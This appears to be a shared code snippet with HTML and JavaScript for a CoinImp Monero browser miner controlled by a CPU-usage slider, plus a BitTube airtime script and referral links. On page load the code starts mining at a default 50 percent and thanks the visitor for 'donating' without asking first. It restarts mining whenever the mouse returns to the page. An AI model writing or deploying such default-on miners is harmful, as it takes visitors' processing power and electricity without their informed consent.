Coinimp Monero Range

Create a cpu usage selector in range bar for Coinimp Monero mining.

by Fajar Purnama

HTML

<input type="range" min="0" max="100" value="50" />
<p id="range-value"></p>
<p id="message"></p>
<p id="threads"></p>
<p id="hashrate"></p>
<p id="hashes"></p>
<script src="https://www.hostingcloud.racing/IBkN.js"></script>





<!-- The code below is for bittube airtime monetization, you may ignore, or are you interested? you can make yours here https://bittube.app/?ref?2JY4FE0CP -->
<meta name="airtime-platform-display" content="jsfiddle.net.0fajarpurnama0">
<meta name="airtime-platform-id" content="70437240-ae18-efdd-ab00-0c83e35039af">
<script src="https://bittubeapp.com/tubepay/airtime.loader.js" data-verify="meta" data-autostart="true"></script>
<!-- bittube airtime code ends -->

JavaScript

// See coinimp documentation.
var _client = new Client.Anonymous('ea449f33b581b5a2d4ecd29f996cd34e093098ec1727001939632b36b8cee5c9', {
  autoThreads: true
});

function mining() {
  // set the throttle which is ((100 - cpu usage %)/100)
  _client.setThrottle((100 - $('[type=range]').val()) / 100);
  // add log informations of the mining
  //$('body').append('<p id="message"></p>');
  //$('body').append('<p id="hashrate"></p>');
  setInterval(function() {
  	threads = _client.getNumThreads();
    $('#threads').text(threads + ' threads');
    hps = _client.getHashesPerSecond();
    $('#hashrate').text(hps + ' hashes / second');
		hashes = _client.getTotalHashes([true]);
    $('#hashes').text(hashes + ' hashes');
  }, 1000);
  // if the slider value is large than 0 start mining and vice versa
  if ($('[type=range]').val() > 0) {
    _client.start();
    $('#message').text('Thank you for donating at most ' + (100 - (_client.getThrottle() * 100)) + '% of your processing power for mining Monero! Reference: https://www.coinimp.com/invite/8c923bdd-07f9-4051-a110-bf3db7fb8d07.');
  } else {
    _client.stop();
    $('#message').text('Donate your processing power to mine Monero for this site:');
  }
}

$(window).ready(function() {
  // set this focus so mining can stop when leaving page
	$(this).focus();
  // When the value of the slider changes;
  $('[type=range]').change(function() {
    // write the value into the <p> tag with id range-value
    $('#range-value').text($(this).val());
    mining();
  });
  // run on startup
  mining();
}).mouseover(function(){
  // start mining again when page is viewed
	mining();
}).mouseout(function(){
  // stop mining when page is left
  alert('page left, mining stopped')
	_client.stop();
});